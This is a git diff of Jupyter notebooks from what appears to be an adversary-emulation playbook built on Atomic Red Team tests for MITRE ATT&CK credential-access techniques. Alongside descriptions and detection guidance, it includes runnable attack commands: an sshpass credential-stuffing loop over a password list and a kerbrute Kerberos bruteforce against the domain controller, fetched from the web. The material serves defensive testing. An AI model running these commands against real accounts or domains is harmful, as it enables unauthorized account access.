facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)" }, { "cell_type": "markdown", - "id": "3cc44aa2", + "id": "6550360a", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "1e2eda54", + "id": "d55efd19", "metadata": {}, "source": "### Atomic Test #1 - SSH Credential Stuffing From Linux\nUsing username,password combination from a password dump to login over SSH.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Requires SSHPASS\n\n##### Check Prereq Commands:\n```bash\nif [ -x \"$(command -v sshpass)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\nif [ $(cat /etc/os-release | grep -i ID=ubuntu) ] || [ $(cat /etc/os-release | grep -i ID=kali) ]; then sudo apt update && sudo apt install sshpass -y; else echo \"This test requires sshpass\" ; fi ;\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b4ba5d10", + "id": "73236bcb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.004 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "4700998d", + "id": "57dc6964", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", - "```bash\ncp $PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt /tmp/\nfor unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d\":\" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d\":\" -f1`@localhost;done\n```" + "```bash\ncp \"$PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt\" /tmp/\nfor unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d\":\" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d\":\" -f1`@localhost;done\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "4c56a080", + "id": "b1e9ea6a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "a2774078", + "id": "a6dd4ccc", "metadata": {}, "source": "### Atomic Test #2 - SSH Credential Stuffing From MacOS\nUsing username,password combination from a password dump to login over SSH.\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Requires SSHPASS\n\n##### Check Prereq Commands:\n```bash\nif [ -x \"$(command -v sshpass)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\n/bin/bash -c \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/e8114640740938c20cc41ffdbf07816b428afc49/install.sh)\"\nbrew install hudochenkov/sshpass/sshpass\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5d29dcea", + "id": "1cbd8545", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.004 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "f8493e3d", + "id": "7b7e7702", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", - "```bash\ncp $PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt /tmp/\nfor unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d\":\" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d\":\" -f1`@localhost;done\n```" + "```bash\ncp \"$PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt\" /tmp/\nfor unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d\":\" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d\":\" -f1`@localhost;done\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "0af4f59a", + "id": "e8623e15", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.004 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "b2f11af3", + "id": "fc13d2fa", "metadata": {}, - "source": "### Atomic Test #3 - Brute Force:Credential Stuffing using Kerbrute Tool\nWill read username and password combos from a file or stdin (format username:password) and perform a bruteforce attack\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: kerbrute.exe must exist in $env:temp\n\n##### Check Prereq Commands:\n```powershell\nif (test-path $env:temp\\kerbrute.exe){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\ninvoke-webrequest \"https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe\" -outfile \"$env:temp\\kerbrute.exe\"\n\n```\n##### Description: bruteforce.txt must exist in $env:temp\n\n##### Check Prereq Commands:\n```powershell\nif (test-path $env:temp\\bruteforce.txt){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\ninvoke-webrequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.004/src/bruteforce.txt?raw=true\" -outfile \"$env:temp\\bruteforce.txt\"\n\n```" + "source": "### Atomic Test #3 - SSH Credential Stuffing From FreeBSD\nUsing username,password combination from a password dump to login over SSH.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Requires SSHPASS\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v sshpass)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\npkg install -y sshpass\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ccfdc8e7", + "id": "7d351a75", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.004 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "e01a0ae3", + "id": "970104ec", "metadata": {}, "source": [ - "#### Attack Commands: Run with `powershell`\n", - "```powershell\ncd $env:temp\n.\\kerbrute.exe bruteforce --dc $ENV:userdnsdomain -d $ENV:userdomain $env:temp\\bruteforce.txt \n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\ncp $PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt /tmp/\nfor unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d\":\" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d\":\" -f1`@localhost;done\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "a7e40a23", + "id": "89453e29", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.004 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "f535b4b8", + "id": "9970d117", + "metadata": {}, + "source": "### Atomic Test #4 - Brute Force:Credential Stuffing using Kerbrute Tool\nWill read username and password combos from a file or stdin (format username:password) and perform a bruteforce attack\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: kerbrute.exe must exist in PathToAtomicsFolder\\..\\ExternalPayloads\n\n##### Check Prereq Commands:\n```powershell\nif (test-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\kerbrute.exe\"){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\ninvoke-webrequest \"https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe\" -outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\kerbrute.exe\"\n\n```\n##### Description: bruteforce.txt must exist in PathToAtomicsFolder\\..\\ExternalPayloads\n\n##### Check Prereq Commands:\n```powershell\nif (test-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\bruteforce.txt\"){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\ninvoke-webrequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.004/src/bruteforce.txt?raw=true\" -outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\bruteforce.txt\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "0bc5187f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1110.004 -TestNumbers 4 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "1dce274b", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\ncd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n.\\kerbrute.exe bruteforce --dc $ENV:userdnsdomain -d $ENV:userdomain \"PathToAtomicsFolder\\..\\ExternalPayloads\\bruteforce.txt\" \n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "3cdcaed1", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1110.004 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "d6d56876", "metadata": {}, "source": "## Detection\nMonitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials." } @@ -115,13 +146,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1110.ipynb b/playbook/tactics/credential-access/T1110.ipynb index 708b061e..d5a3bdfb 100644 --- a/playbook/tactics/credential-access/T1110.ipynb +++ b/playbook/tactics/credential-access/T1110.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "f6f75b71", + "id": "bcda4239", "metadata": {}, "source": "# T1110 - Brute Force\nAdversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\n\nBrute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access." }, { "cell_type": "markdown", - "id": "987eaa3a", + "id": "1a10924c", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "b46560f5", + "id": "dae0e7f6", "metadata": {}, "source": "## Detection\nMonitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network." }, { "cell_type": "markdown", - "id": "f90587b5", + "id": "ad8829dd", "metadata": {}, "source": "\n## Shield Active Defense\n### System Activity Monitoring \n Collect system activity logs which can reveal adversary activity. \n\n Capturing system logs can show logins, user and system events, etc. Collecting this data and potentially sending it to a centralized location can help reveal the presence of an adversary and the actions they perform on a compromised system.\n#### Opportunity\nThere is an opportunity to create a detection with a moderately high probability of success.\n#### Use Case\nA defender can monitor for user login activity that may reveal an adversary leveraging brute force techniques.\n#### Procedures\nEnsure that systems capture and retain common system level activity artifacts that might be produced.\nMonitor Windows systems for event codes that reflect an adversary changing passwords, adding accounts to groups, etc.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1111.ipynb b/playbook/tactics/credential-access/T1111.ipynb index 9d58edf2..ee5bd32e 100644 --- a/playbook/tactics/credential-access/T1111.ipynb +++ b/playbook/tactics/credential-access/T1111.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "b164ef6d", + "id": "f2024db4", "metadata": {}, - "source": "# T1111 - Multi-Factor Authentication Interception\nAdversaries may target multi-factor authentication (MFA) mechanisms, (I.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)" + "source": "# T1111 - Multi-Factor Authentication Interception\nAdversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users\u2019 phones.(Citation: Okta Scatter Swine 2022)" }, { "cell_type": "markdown", - "id": "e0b8af1c", + "id": "80627ad6", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "d643024c", + "id": "f79af443", "metadata": {}, "source": "## Detection\nDetecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\n\nSimilar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes." }, { "cell_type": "markdown", - "id": "b8044740", + "id": "b0c73553", "metadata": {}, "source": "\n## Shield Active Defense\n### Security Controls \n Alter security controls to make the system more or less vulnerable to attack. \n\n Manipulating security controls involves making configuration changes to the security settings of a system including things like modifying Group Policies, disabling/enabling autorun for removable media, and tightening or relaxing system firewalls, etc.\n#### Opportunity\nThere is an opportunity to study the adversary and collect first-hand observations about them and their tools.\n#### Use Case\nIn an adversary engagement operation, a defender can intentionally increase the time window that a token is valid to see if the adversary is able to acquire and leverage the token.\n#### Procedures\nWeaken security controls on a system to allow for leaking of credentials via network connection poisoning.\nImplement policies on a system to prevent the insecure storage of passwords in the registry. This may force an adversary to revert these changes or find another way to access cached credentials.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1139.ipynb b/playbook/tactics/credential-access/T1139.ipynb deleted file mode 100644 index f33cfc02..00000000 --- a/playbook/tactics/credential-access/T1139.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "914a463b", - "metadata": {}, - "source": "# T1139 - Bash History\nBash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user\u2019s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)" - }, - { - "cell_type": "markdown", - "id": "b95ea487", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "bb5dd9cc", - "metadata": {}, - "source": "## Detection\nMonitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/credential-access/T1141.ipynb b/playbook/tactics/credential-access/T1141.ipynb deleted file mode 100644 index 384c6464..00000000 --- a/playbook/tactics/credential-access/T1141.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "5007efad", - "metadata": {}, - "source": "# T1141 - Input Prompt\nWhen programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)." - }, - { - "cell_type": "markdown", - "id": "d0979aea", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "0b470b52", - "metadata": {}, - "source": "## Detection\nMonitor process execution for unusual programs as well as malicious instances of [Scripting](https://attack.mitre.org/techniques/T1064) that could be used to prompt users for credentials.\n\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/credential-access/T1142.ipynb b/playbook/tactics/credential-access/T1142.ipynb deleted file mode 100644 index 4184a0db..00000000 --- a/playbook/tactics/credential-access/T1142.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "fd711ce2", - "metadata": {}, - "source": "# T1142 - Keychain\nKeychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user\u2019s logon credentials." - }, - { - "cell_type": "markdown", - "id": "b033a55b", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "1a0f78b5", - "metadata": {}, - "source": "## Detection\nUnlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/credential-access/T1145.ipynb b/playbook/tactics/credential-access/T1145.ipynb deleted file mode 100644 index f9c107b0..00000000 --- a/playbook/tactics/credential-access/T1145.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "13e5623f", - "metadata": {}, - "source": "# T1145 - Private Keys\nPrivate cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\\Users\\(username)\\.ssh\\ on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)" - }, - { - "cell_type": "markdown", - "id": "ecfd2fa6", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "dc6a090c", - "metadata": {}, - "source": "## Detection\nMonitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/credential-access/T1167.ipynb b/playbook/tactics/credential-access/T1167.ipynb deleted file mode 100644 index a18ae72d..00000000 --- a/playbook/tactics/credential-access/T1167.ipynb +++ /dev/null @@ -1,32 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "54baa4a5", - "metadata": {}, - "source": "# T1167 - Securityd Memory\nIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)\n\nIf an adversary can obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)" - }, - { - "cell_type": "markdown", - "id": "7cbb7443", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/credential-access/T1171.ipynb b/playbook/tactics/credential-access/T1171.ipynb deleted file mode 100644 index 5382ab8c..00000000 --- a/playbook/tactics/credential-access/T1171.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "d451aadb", - "metadata": {}, - "source": "# T1171 - LLMNR/NBT-NS Poisoning and Relay\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)" - }, - { - "cell_type": "markdown", - "id": "c7a248cd", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "cbf9890b", - "metadata": {}, - "source": "## Detection\nMonitor HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient for changes to the \"EnableMulticast\" DWORD value. A value of \u201c0\u201d indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/credential-access/T1174.ipynb b/playbook/tactics/credential-access/T1174.ipynb deleted file mode 100644 index 6939d9ad..00000000 --- a/playbook/tactics/credential-access/T1174.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "3b4bce0b", - "metadata": {}, - "source": "# T1174 - Password Filter DLL\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.\n\nBefore registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.\n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)" - }, - { - "cell_type": "markdown", - "id": "a7511e13", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "943b7d73", - "metadata": {}, - "source": "## Detection\nMonitor for change notifications to and from unfamiliar password filters.\n\nNewly installed password filters will not take effect until after a system reboot.\n\nPassword filters will show up as an autorun and loaded DLL in lsass.exe. (Citation: Clymb3r Function Hook Passwords Sept 2013)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/credential-access/T1179.ipynb b/playbook/tactics/credential-access/T1179.ipynb deleted file mode 100644 index a812f331..00000000 --- a/playbook/tactics/credential-access/T1179.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": 